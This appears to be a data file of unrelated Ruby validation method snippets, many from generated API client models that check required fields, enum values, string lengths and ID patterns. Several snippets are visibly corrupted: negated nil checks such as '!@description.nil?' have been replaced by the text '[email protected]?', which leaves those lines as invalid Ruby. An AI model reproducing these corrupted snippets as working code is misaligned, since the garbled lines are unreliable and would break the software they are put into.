"def valid?\n return false if !super\n return false if @index.nil?\n return false if @orientation.nil?\n orientation_validator = EnumAttributeValidator.new('String', ['Horizontal', 'Vertical'])\n return false unless orientation_validator.valid?(@orientation)\n return false if @size.nil?\n size_validator = EnumAttributeValidator.new('String', ['Full', 'Half', 'Quarter'])\n return false unless size_validator.valid?(@size)\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', ['Title', 'Body', 'CenteredTitle', 'Subtitle', 'DateAndTime', 'SlideNumber', 'Footer', 'Header', 'Object', 'Chart', 'Table', 'ClipArt', 'Diagram', 'Media', 'SlideImage', 'Picture'])\n return false unless type_validator.valid?(@type)\n true\n end",
"def validate\n validate_string_attributes\n @relations.map(&:validate)\n end",
"def is_valid?\n end",
"def run_validations\n true\n end",
"def validate\n validate_params\n validate_colour\n validate_coordinates\n validate_dimension\n end",
"def checkAttributeRequirements\n if @valid_attributes.empty?\n @error_text = \"No valid attributes found\"\n return false\n elsif (@mandatory_attributes_from_db & @valid_attributes) != @mandatory_attributes_from_db\n missing_attr = @mandatory_attributes_from_db - (@mandatory_attributes_from_db & @valid_attributes)\n\n x_attr_txt = \"\"\n missing_attr.each {|x_attr| x_attr_txt += x_attr[:name] + \", \"}\n @error_text = \"Mandatory attributes #{x_attr_txt[0..-3]} is/are missing\"\n return false\n end\n\n return true\n end",
"def validations\n {}\n end",
"def validatable?\n true\n end",
"def validate\n validate_params\n validate_coordinates\n validate_colour\n validate_dimension\n end",
"def validate_required\n [\n :project_name,\n :status,\n :requester_id,\n :subject_expert_id,\n :sponsor_id,\n :vision,\n :goal,\n :description,\n :scope,\n :advice_required,\n :program_id,\n :train_id,\n :funding_method,\n :cost_center,\n :funding_status,\n :budget_allocated,\n :priority,\n :start_date,\n :end_date,\n :risk_rating,\n :risks,\n :projected_revenue,\n ].each do |field|\n if self.attributes[field.to_s].nil? || self.attributes[field.to_s].blank?\n # intentionally vague!\n add_validation 'All fields are required to perform further validations'\n return false\n end\n end\n true\n end",
"def validate\n validate_root\n validate_associated\n valid?\n end",
"def validate\n true\n end",
"def valid?\n return false if @id.nil?\n return false if @created.nil?\n return false if @modified.nil?\n return false if @company_name.nil?\n return false if @company_name.to_s.length < 1\n return false if @domain_name.nil?\n return false if @state.nil?\n state_validator = EnumAttributeValidator.new('String', [\"active\", \"deactivated\"])\n return false unless state_validator.valid?(@state)\n return false if @billing_email.nil?\n return false if @application_count.nil?\n return false if @user_count.nil?\n return false if @campaigns_active_count.nil?\n return false if @campaigns_inactive_count.nil?\n true\n end",
"def valid?\n _errors_before = self.errors.dup\n _s = super\n validate_attributes\n _errors_before.each { |e| append_error(_errors_before,e) }\n self.errors.empty?\n end",
"def valid?\n true\n end",
"def validate!\n expected_props, required_props = @properties.keys, @required\n\n unless is_a?(Dialect) || is_a?(Template)\n expected_props = expected_props + INHERITED_PROPERTIES.keys\n end\n\n # It has only expected properties (exclude metadata)\n keys = self.keys - [:\"@context\"]\n keys = keys.reject {|k| k.to_s.include?(':')} unless is_a?(Dialect)\n raise \"#{type} has unexpected keys: #{keys - expected_props}\" unless keys.all? {|k| expected_props.include?(k)}\n\n # It has required properties\n raise \"#{type} missing required keys: #{required_props & keys}\" unless (required_props & keys) == required_props\n\n # Every property is valid\n keys.each do |key|\n value = self[key]\n is_valid = case key\n when :columns\n column_names = value.map(&:name)\n value.is_a?(Array) &&\n value.all? {|v| v.is_a?(Column) && v.validate!} &&\n begin\n # The name properties of the column descriptions must be unique within a given table description.\n column_names = value.map(&:name)\n raise \"Columns must have unique names\" if column_names.uniq != column_names\n true\n end\n when :commentPrefix then value.is_a?(String) && value.length == 1\n when :datatype then value.is_a?(String) && DATATYPES.keys.map(&:to_s).include?(value)\n when :default then value.is_a?(String)\n when :delimiter then value.is_a?(String) && value.length == 1\n when :dialect then value.is_a?(Dialect) && value.validate!\n when :doubleQuote then %w(true false 1 0).include?(value.to_s.downcase)\n when :encoding then Encoding.find(value)\n when :foreignKeys\n # An array of foreign key definitions that define how the values from specified columns within this table link to rows within this table or other tables. A foreign key definition is a JSON object with the properties:\n value.is_a?(Array) && value.all? do |fk|\n raise \"Foreign key must be an object\" unless fk.is_a?(Hash)\n columns, reference = fk['columns'], fk['reference']\n raise \"Foreign key missing columns and reference\" unless columns && reference\n raise \"Foreign key has extra entries\" unless fk.keys.length == 2\n raise \"Foreign key must reference columns\" unless Array(columns).all? {|k| self.columns.any? {|c| c.name == k}}\n raise \"Foreign key reference must be an Object\" unless reference.is_a?(Hash)\n\n if reference.has_key?('resource')\n raise \"Foreign key having a resource reference, must not have a schema\" if reference.has_key?('schema')\n # FIXME resource is a URL of a specific resource (table) which must exist\n elsif reference.has_key?('schema')\n # FIXME schema is a URL of a specific schema which must exist\n end\n # FIXME: columns\n true\n end\n when :format then value.is_a?(String)\n when :header then %w(true false 1 0).include?(value.to_s.downcase)\n when :headerColumnCount, :headerRowCount\n value.is_a?(Numeric) && value.integer? && value > 0\n when :length\n # Applications must raise an error if length, maxLength or minLength are specified and the cell value is not a list (ie separator is not specified), a string or one of its subtypes, or a binary value.\n raise \"Use if minLength or maxLength with length requires separator\" if self[:minLength] || self[:maxLength] && !self[:separator]\n raise \"Use of both length and minLength requires they be equal\" unless self.fetch(:minLength, value) == value\n raise \"Use of both length and maxLength requires they be equal\" unless self.fetch(:maxLength, value) == value\n value.is_a?(Numeric) && value.integer? && value > 0\n when :language then BCP47::Language.identify(value)\n when :lineTerminator then value.is_a?(String)\n when :minimum, :maximum, :minInclusive, :maxInclusive, :minExclusive, :maxExclusive\n value.is_a?(Numeric) ||\n RDF::Literal::Date.new(value).valid? ||\n RDF::Literal::Time.new(value).valid? ||\n RDF::Literal::DateTime.new(value).valid?\n when :minLength, :maxLength\n value.is_a?(Numeric) && value.integer? && value > 0\n when :name then value.is_a?(String) && !name.start_with?(\"_\")\n when :notes then value.is_a?(Array) && value.all? {|v| v.is_a?(Hash)}\n when :null then value.is_a?(String)\n when :predicateUrl then Array(value).all? {|v| RDF::URI(v).valid?}\n when :primaryKey\n # A column reference property that holds either a single reference to a column description object or an array of references.\n Array(value).all? do |k|\n self.columns.any? {|c| c.name == k}\n end\n when :quoteChar then value.is_a?(String) && value.length == 1\n when :required then %w(true false 1 0).include?(value.to_s.downcase)\n when :resources then value.is_a?(Array) && value.all? {|v| v.is_a?(Table) && v.validate!}\n when :schema then value.is_a?(Schema) && value.validate!\n when :separator then value.nil? || value.is_a?(String) && value.length == 1\n when :skipInitialSpace then %w(true false 1 0).include?(value.to_s.downcase)\n when :skipBlankRows then %w(true false 1 0).include?(value.to_s.downcase)\n when :skipColumns then value.is_a?(Numeric) && value.integer? && value >= 0\n when :skipRows then value.is_a?(Numeric) && value.integer? && value >= 0\n when :source then %w(json rdf).include?(value)\n when :\"table-direction\" then %w(rtl ltr default).include?(value)\n when :targetFormat, :templateFormat then RDF::URI(value).valid?\n when :templates then value.is_a?(Array) && value.all? {|v| v.is_a?(Template) && v.validate!}\n when :\"text-direction\" then %w(rtl ltr).include?(value)\n when :title then valid_natural_language_property?(value)\n when :trim then %w(true false 1 0 start end).include?(value.to_s.downcase)\n when :urlTemplate then value.is_a?(String)\n when :@id then @id.valid?\n when :@type then value.to_sym == type\n else\n raise \"?!?! shouldn't get here for key #{key}\"\n end\n raise \"#{type} has invalid #{key}: #{value.inspect}\" unless is_valid\n end\n\n self\n end",
"def valid?\n return false if @subject_property.nil?\n return false if @proprietorship.nil?\n proprietorship_validator = EnumAttributeValidator.new('String', [\"Unknown\", \"Sole\", \"Joint\"])\n return false unless proprietorship_validator.valid?(@proprietorship)\n return false if @surname.nil?\n return false if @forename.nil?\n return false if @middle_name.nil?\n return true\n end",
"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"cond.HclStatusDetail\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"cond.HclStatusDetail\"])\n return false unless object_type_validator.valid?(@object_type)\n hardware_status_validator = EnumAttributeValidator.new('String', [\"Missing-Os-Driver-Info\", \"Incompatible-Server-With-Component\", \"Incompatible-Processor\", \"Incompatible-Os-Info\", \"Incompatible-Component-Model\", \"Incompatible-Firmware\", \"Incompatible-Driver\", \"Incompatible-Firmware-Driver\", \"Service-Unavailable\", \"Service-Error\", \"Unrecognized-Protocol\", \"Not-Evaluated\", \"Compatible\"])\n return false unless hardware_status_validator.valid?(@hardware_status)\n reason_validator = EnumAttributeValidator.new('String', [\"Missing-Os-Driver-Info\", \"Incompatible-Server-With-Component\", \"Incompatible-Processor\", \"Incompatible-Os-Info\", \"Incompatible-Component-Model\", \"Incompatible-Firmware\", \"Incompatible-Driver\", \"Incompatible-Firmware-Driver\", \"Service-Unavailable\", \"Service-Error\", \"Unrecognized-Protocol\", \"Not-Evaluated\", \"Compatible\"])\n return false unless reason_validator.valid?(@reason)\n software_status_validator = EnumAttributeValidator.new('String', [\"Missing-Os-Driver-Info\", \"Incompatible-Server-With-Component\", \"Incompatible-Processor\", \"Incompatible-Os-Info\", \"Incompatible-Component-Model\", \"Incompatible-Firmware\", \"Incompatible-Driver\", \"Incompatible-Firmware-Driver\", \"Service-Unavailable\", \"Service-Error\", \"Unrecognized-Protocol\", \"Not-Evaluated\", \"Compatible\"])\n return false unless software_status_validator.valid?(@software_status)\n status_validator = EnumAttributeValidator.new('String', [\"Incomplete\", \"Not-Found\", \"Not-Listed\", \"Validated\", \"Not-Evaluated\"])\n return false unless status_validator.valid?(@status)\n true && super\n end",
"def core_attributes_valid\n core_attributes = [@rateable, @rater, @ratee, @rating_type]\n return if core_attributes.all? { |atr| atr.present? && atr.valid? }\n errors.add('message', 'Not all core attributes present and valid.')\n end",
"def valid?\n super\n errors.empty?\n end",
"def valid?\n \n if @account_id.nil?\n false\n elsif @campaign_id.nil?\n false\n elsif @csp_id.nil?\n false\n elsif @status.nil?\n false\n elsif @create_date.nil?\n false\n elsif @auto_renewal.nil?\n false\n elsif @brand_id.nil?\n false\n elsif @usecase.nil?\n false\n elsif @sub_usecases.nil?\n false\n elsif @description.nil?\n false\n elsif @embedded_link.nil?\n false\n elsif @embedded_phone.nil?\n false\n elsif @affiliate_marketing.nil?\n false\n elsif @number_pool.nil?\n false\n elsif @age_gated.nil?\n false\n elsif @direct_lending.nil?\n false\n elsif @subscriber_optin.nil?\n false\n elsif @subscriber_optout.nil?\n false\n elsif @subscriber_help.nil?\n false\n elsif @sample1.nil?\n false\n elsif @mock.nil?\n false\n else\n list_invalid_properties.length() == 0\n end\n end",
"def valid?(metadata)\n validate.each do |attr|\n return false if metadata[attr.to_sym].nil? || metadata[attr.to_sym].zero?\n end\n end",
"def is_valid\n return true\n end",
"def validate_attrs\n @target.present? && [email protected]? && @actor.present? && @action_key.present?\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n if [email protected]? && @name.to_s.length > 31\n invalid_properties.push('invalid value for \"name\", the character length must be smaller than or equal to 31.')\n end\n\n pattern = Regexp.new(/^[a-zA-Z0-9\\-\\._:]+$/)\n if [email protected]? && @name !~ pattern\n invalid_properties.push(\"invalid value for \\\"name\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n if !@static_wwpn_address.nil? && @static_wwpn_address !~ pattern\n invalid_properties.push(\"invalid value for \\\"static_wwpn_address\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n if [email protected]? && @wwpn !~ pattern\n invalid_properties.push(\"invalid value for \\\"wwpn\\\", must conform to the pattern #{pattern}.\")\n end\n\n invalid_properties\n end",
"def valid_save?\n valid = true\n\n if self.name.nil? || self.name == \"\"\n valid = false\n end\n\n if self.general_info.nil? || self.general_info == \"\"\n valid = false\n end\n\n if self.technical_specs.nil? || self.technical_specs == \"\"\n valid = false\n end\n\n if self.where_to_buy.nil? || self.where_to_buy == \"\"\n valid = false\n end\n\n return valid\n end",
"def valid?\n schema.validate(self)\n end",
"def valid?\n reset_errors\n valid_date?\n valid_user?\n valid_activity_type?\n self.errors.empty?\n end",
"def valid?\n validate\n end",
"def product_attributes_must_not_be_empty\n\n\t\t# Instance\n\t\tproduct = Product.new\n\n\t\tassert product.invalid?\n\t\tassert product.errors[:title].any?\n\t\tassert product.errors[:description].any?\n\t\tassert product.errors[:price].any?\n\t\tassert product.errors[:image_url].any?\n\tend",
"def valid?\n return false if @id.nil?\n return false if @id !~ Regexp.new(/^psc_[a-zA-Z0-9]+$/)\n carrier_validator = EnumAttributeValidator.new('String', [\"USPS\"])\n return false unless carrier_validator.valid?(@carrier)\n return false if !@front_template_id.nil? && @front_template_id !~ Regexp.new(/^tmpl_[a-zA-Z0-9]+$/)\n return false if !@back_template_id.nil? && @back_template_id !~ Regexp.new(/^tmpl_[a-zA-Z0-9]+$/)\n return false if !@front_template_version_id.nil? && @front_template_version_id !~ Regexp.new(/^vrsn_[a-zA-Z0-9]+$/)\n return false if !@back_template_version_id.nil? && @back_template_version_id !~ Regexp.new(/^vrsn_[a-zA-Z0-9]+$/)\n object_validator = EnumAttributeValidator.new('String', [\"postcard\"])\n return false unless object_validator.valid?(@object)\n return false if @url.nil?\n return false if @url !~ Regexp.new(/^https:\\/\\/(lob-assets|lob-assets-staging)\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n return false if [email protected]? && @description.to_s.length > 255\n true\n end",
"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"network.ElementSummary\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"network.ElementSummary\"])\n return false unless object_type_validator.valid?(@object_type)\n ethernet_switching_mode_validator = EnumAttributeValidator.new('String', [\"end-host\", \"switch\"])\n return false unless ethernet_switching_mode_validator.valid?(@ethernet_switching_mode)\n fc_switching_mode_validator = EnumAttributeValidator.new('String', [\"end-host\", \"switch\"])\n return false unless fc_switching_mode_validator.valid?(@fc_switching_mode)\n management_mode_validator = EnumAttributeValidator.new('String', [\"IntersightStandalone\", \"UCSM\", \"Intersight\"])\n return false unless management_mode_validator.valid?(@management_mode)\n thermal_validator = EnumAttributeValidator.new('String', [\"unknown\", \"ok\", \"upper-non-recoverable\", \"upper-critical\", \"upper-non-critical\", \"lower-non-critical\", \"lower-critical\", \"lower-non-recoverable\"])\n return false unless thermal_validator.valid?(@thermal)\n true && super\n end",
"def valid?\n\t\t\t\ttrue\n\t\t\tend",
"def validate\r\n validate! rescue false\r\n end",
"def validate\n validate_string_attributes\n end",
"def valid?\n self.errors = Mongomatic::Errors.new\n do_callback(:before_validate)\n check_required_fields\n validate\n do_callback(:after_validate)\n self.errors.empty?\n end",
"def valid\n @valid\n end",
"def valid_objects\n all_objects.select { |o| o.valid? }\n end",
"def valid?\n return false if @summary.nil?\n return false if @summary.to_s.length > 100\n record_type_validator = EnumAttributeValidator.new('String', [\"ServiceTicket\", \"ProjectTicket\", \"ProjectIssue\"])\n return false unless record_type_validator.valid?(@record_type)\n return false if !@wbs_code.nil? && @wbs_code.to_s.length > 50\n return false if @company.nil?\n return false if !@site_name.nil? && @site_name.to_s.length > 50\n return false if !@address_line1.nil? && @address_line1.to_s.length > 50\n return false if !@address_line2.nil? && @address_line2.to_s.length > 50\n return false if [email protected]? && @city.to_s.length > 50\n return false if !@state_identifier.nil? && @state_identifier.to_s.length > 50\n return false if [email protected]? && @zip.to_s.length > 12\n return false if !@contact_phone_number.nil? && @contact_phone_number.to_s.length > 20\n return false if !@contact_phone_extension.nil? && @contact_phone_extension.to_s.length > 15\n return false if !@contact_email_address.nil? && @contact_email_address.to_s.length > 250\n severity_validator = EnumAttributeValidator.new('String', [\"Low\", \"Medium\", \"High\"])\n return false unless severity_validator.valid?(@severity)\n impact_validator = EnumAttributeValidator.new('String', [\"Low\", \"Medium\", \"High\"])\n return false unless impact_validator.valid?(@impact)\n return false if !@external_x_ref.nil? && @external_x_ref.to_s.length > 100\n return false if !@po_number.nil? && @po_number.to_s.length > 50\n return false if !@automatic_email_cc.nil? && @automatic_email_cc.to_s.length > 1000\n sub_billing_method_validator = EnumAttributeValidator.new('String', [\"ActualRates\", \"FixedFee\", \"NotToExceed\", \"OverrideRate\"])\n return false unless sub_billing_method_validator.valid?(@sub_billing_method)\n knowledge_base_link_type_validator = EnumAttributeValidator.new('String', [\"ServiceTicket\", \"ProjectTicket\", \"ProjectIssue\", \"KnowledgeBaseArticle\", \"Time\", \"Activity\"])\n return false unless knowledge_base_link_type_validator.valid?(@knowledge_base_link_type)\n bill_time_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_time_validator.valid?(@bill_time)\n bill_expenses_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_expenses_validator.valid?(@bill_expenses)\n bill_products_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_products_validator.valid?(@bill_products)\n predecessor_type_validator = EnumAttributeValidator.new('String', [\"Ticket\", \"Phase\"])\n return false unless predecessor_type_validator.valid?(@predecessor_type)\n return true\n end",
"def validate!\n true\n end",
"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"vnic.FcIf\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"vnic.FcIf\"])\n return false unless object_type_validator.valid?(@object_type)\n return false if [email protected]? && @name.to_s.length > 31\n return false if [email protected]? && @name !~ Regexp.new(/^[a-zA-Z0-9\\-\\._:]+$/)\n return false if !@static_wwpn_address.nil? && @static_wwpn_address !~ Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n type_validator = EnumAttributeValidator.new('String', [\"fc-initiator\", \"fc-nvme-initiator\", \"fc-nvme-target\", \"fc-target\"])\n return false unless type_validator.valid?(@type)\n return false if [email protected]? && @wwpn !~ Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n wwpn_address_type_validator = EnumAttributeValidator.new('String', [\"POOL\", \"STATIC\"])\n return false unless wwpn_address_type_validator.valid?(@wwpn_address_type)\n true && super\n end",
"def valid?\n validate_survivors and validate_items && validate_records\n end",
"def valid?\n return false if @id.nil?\n return false if @next_send.nil?\n return false if @rrule.nil?\n return false if @session.nil?\n return false if @last_sent.nil?\n return false if @contact_name.nil?\n return false if @parameters.nil?\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', ['Once', 'Hourly', 'Daily', 'Weekly', 'Monthly', 'Yearly'])\n return false unless type_validator.valid?(@type)\n return false if @summary.nil?\n return false if @text_parameters.nil?\n return false if @first_occurrence.nil?\n return false if @last_occurrence.nil?\n return false if @recipients_count.nil?\n return false if @timezone.nil?\n return false if @completed.nil?\n return false if @avatar.nil?\n return false if @created_at.nil?\n true\n end",
"def valid?\n return false if [email protected]? && @description.to_s.length > 255\n return false if @routing_number.nil?\n return false if @routing_number.to_s.length > 9\n return false if @routing_number.to_s.length < 9\n return false if @account_number.nil?\n return false if @account_number.to_s.length > 17\n return false if @account_type.nil?\n account_type_validator = EnumAttributeValidator.new('String', [\"company\", \"individual\"])\n return false unless account_type_validator.valid?(@account_type)\n return false if @signatory.nil?\n return false if @signatory.to_s.length > 30\n return false if @id.nil?\n return false if @id !~ Regexp.new(/^bank_[a-zA-Z0-9]+$/)\n return false if !@signature_url.nil? && @signature_url !~ Regexp.new(/^https:\\/\\/lob-assets\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n return false if @date_created.nil?\n return false if @date_modified.nil?\n return false if @object.nil?\n object_validator = EnumAttributeValidator.new('String', [\"bank_account\"])\n return false unless object_validator.valid?(@object)\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n return false if @id.nil?\n return false if @account_id.nil?\n return false if @organization_id.nil?\n return false if @product_id.nil?\n return false if @product_rate_plan_id.nil?\n return false if @name.nil?\n type_validator = EnumAttributeValidator.new('String', [\"Subscription\", \"FixedTerm\", \"Trial\"])\n return false unless type_validator.valid?(@type)\n return false if @state.nil?\n state_validator = EnumAttributeValidator.new('String', [\"Trial\", \"Provisioned\", \"Paid\", \"AwaitingPayment\", \"Cancelled\", \"Failed\", \"Expired\"])\n return false unless state_validator.valid?(@state)\n return false if @initial_period_start.nil?\n return false if @trial_end.nil?\n managed_by_validator = EnumAttributeValidator.new('String', [\"BillForward\", \"Stripe\"])\n return false unless managed_by_validator.valid?(@managed_by)\n return false if @version_start.nil?\n return false if @version_number.nil?\n return false if @current_time.nil?\n failed_payment_behaviour_validator = EnumAttributeValidator.new('String', [\"CancelSubscription\", \"None\"])\n return false unless failed_payment_behaviour_validator.valid?(@failed_payment_behaviour)\n return true\n end",
"def validate_fields\n %w[email author].each do |field|\n value = self.send(field)\n abort \"Hoe #{field} value not set. aborting\" if value.nil? or value.empty?\n end\n end",
"def valid?\n return false if @name.nil?\n return false if @name.to_s.length < 1\n return false if @timezone.nil?\n return false if @timezone.to_s.length < 1\n return false if @currency.nil?\n return false if @currency.to_s.length < 1\n case_sensitivity_validator = EnumAttributeValidator.new('String', [\"sensitive\", \"insensitive-uppercase\", \"insensitive-lowercase\"])\n return false unless case_sensitivity_validator.valid?(@case_sensitivity)\n campaign_priority_validator = EnumAttributeValidator.new('String', [\"universal\", \"stackable\", \"exclusive\"])\n return false unless campaign_priority_validator.valid?(@campaign_priority)\n exclusive_campaigns_strategy_validator = EnumAttributeValidator.new('String', [\"listOrder\", \"lowestDiscount\", \"highestDiscount\"])\n return false unless exclusive_campaigns_strategy_validator.valid?(@exclusive_campaigns_strategy)\n default_discount_scope_validator = EnumAttributeValidator.new('String', [\"sessionTotal\", \"cartItems\", \"additionalCosts\"])\n return false unless default_discount_scope_validator.valid?(@default_discount_scope)\n default_discount_additional_cost_per_item_scope_validator = EnumAttributeValidator.new('String', [\"price\", \"itemTotal\", \"additionalCosts\"])\n return false unless default_discount_additional_cost_per_item_scope_validator.valid?(@default_discount_additional_cost_per_item_scope)\n true\n end",
"def valid?\n run_validation\n @errors.empty?\n end",
"def valid?\n MANDATORY_ATTRIBUTES.each{|a| return false unless self[a]}\n true\n end",
"def valid?\n return false if @id.nil?\n return false if @token.nil?\n return false if @tipo.nil?\n tipo_validator = EnumAttributeValidator.new('String', ['fatture', 'proforma', 'ordini', 'preventivi', 'ndc'])\n return false unless tipo_validator.valid?(@tipo)\n return false if @nome.nil?\n return false if @indirizzo_via.nil?\n return false if @indirizzo_cap.nil?\n return false if @indirizzo_citta.nil?\n return false if @indirizzo_provincia.nil?\n return false if @paese.nil?\n lingua_validator = EnumAttributeValidator.new('String', ['it', 'en', 'de'])\n return false unless lingua_validator.valid?(@lingua)\n return false if @piva.nil?\n return false if @cf.nil?\n return false if @numero.nil?\n return false if @valuta.nil?\n return false if @valuta_cambio.nil?\n return false if @prezzi_ivati.nil?\n return false if @importo_netto.nil?\n return false if @importo_iva.nil?\n return false if @importo_totale.nil?\n mostra_totali_validator = EnumAttributeValidator.new('String', ['tutti', 'netto', 'nessuno'])\n return false unless mostra_totali_validator.valid?(@mostra_totali)\n return false if @lista_articoli.nil?\n pa_tipo_cliente_validator = EnumAttributeValidator.new('String', ['PA', 'B2B'])\n return false unless pa_tipo_cliente_validator.valid?(@pa_tipo_cliente)\n pa_tipo_validator = EnumAttributeValidator.new('String', ['ordine', 'convenzione', 'contratto', 'nessuno'])\n return false unless pa_tipo_validator.valid?(@pa_tipo)\n pa_esigibilita_validator = EnumAttributeValidator.new('String', ['I', 'D', 'S', 'N'])\n return false unless pa_esigibilita_validator.valid?(@pa_esigibilita)\n true\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def valid?\n return false if @name.nil?\n return false if @name.to_s.length > 50\n return false if @prefix_suffix_option.nil?\n prefix_suffix_option_validator = EnumAttributeValidator.new('String', [\"Prefix\", \"Suffix\"])\n return false unless prefix_suffix_option_validator.valid?(@prefix_suffix_option)\n return false if !@invoice_pre_suffix.nil? && @invoice_pre_suffix.to_s.length > 5\n application_units_validator = EnumAttributeValidator.new('String', [\"Amount\", \"Hours\", \"Incidents\"])\n return false unless application_units_validator.valid?(@application_units)\n application_cycle_validator = EnumAttributeValidator.new('String', [\"Contract2Weeks\", \"Contract4Weeks\", \"ContractYear\", \"CalendarMonth\", \"CalendarQuarter\", \"CalendarWeek\", \"ContractQuarter\", \"CalendarYear\"])\n return false unless application_cycle_validator.valid?(@application_cycle)\n return false if @employee_comp_rate.nil?\n employee_comp_rate_validator = EnumAttributeValidator.new('String', [\"Actual\", \"Hourly\"])\n return false unless employee_comp_rate_validator.valid?(@employee_comp_rate)\n return false if @employee_comp_not_exceed.nil?\n employee_comp_not_exceed_validator = EnumAttributeValidator.new('String', [\"Billing\", \"Percent\", \"Amount\"])\n return false unless employee_comp_not_exceed_validator.valid?(@employee_comp_not_exceed)\n return false if @invoicing_cycle.nil?\n invoicing_cycle_validator = EnumAttributeValidator.new('String', [\"CalendarYear\", \"ContractYear\"])\n return false unless invoicing_cycle_validator.valid?(@invoicing_cycle)\n return false if !@invoice_description.nil? && @invoice_description.to_s.length > 4000\n return false if @bill_time.nil?\n bill_time_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_time_validator.valid?(@bill_time)\n return false if @bill_expenses.nil?\n bill_expenses_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_expenses_validator.valid?(@bill_expenses)\n return false if @bill_products.nil?\n bill_products_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_products_validator.valid?(@bill_products)\n return true\n end",
"def validate\n end",
"def valid?\n return false if @to.nil?\n return false if @from.nil?\n carrier_validator = EnumAttributeValidator.new('String', [\"USPS\"])\n return false unless carrier_validator.valid?(@carrier)\n return false if @date_created.nil?\n return false if @date_modified.nil?\n return false if @id.nil?\n return false if @id !~ Regexp.new(/^ltr_[a-zA-Z0-9]+$/)\n return false if !@template_id.nil? && @template_id !~ Regexp.new(/^tmpl_[a-zA-Z0-9]+$/)\n return false if !@template_version_id.nil? && @template_version_id !~ Regexp.new(/^vrsn_[a-zA-Z0-9]+$/)\n return false if [email protected]? && @url !~ Regexp.new(/^https:\\/\\/(lob-assets|lob-assets-staging)\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n return false if @object.nil?\n object_validator = EnumAttributeValidator.new('String', [\"letter\"])\n return false unless object_validator.valid?(@object)\n return false if [email protected]? && @description.to_s.length > 255\n return false if !@tracking_events.nil? && @tracking_events.length > 0\n address_placement_validator = EnumAttributeValidator.new('String', [\"top_first_page\", \"insert_blank_page\", \"bottom_first_page_center\", \"bottom_first_page\"])\n return false unless address_placement_validator.valid?(@address_placement)\n true\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def supports_validations?\n true\n end",
"def valid?\n @errors = self.class.valid_against_schema?(self.class.json_schema, self)\n @errors.empty?\n end",
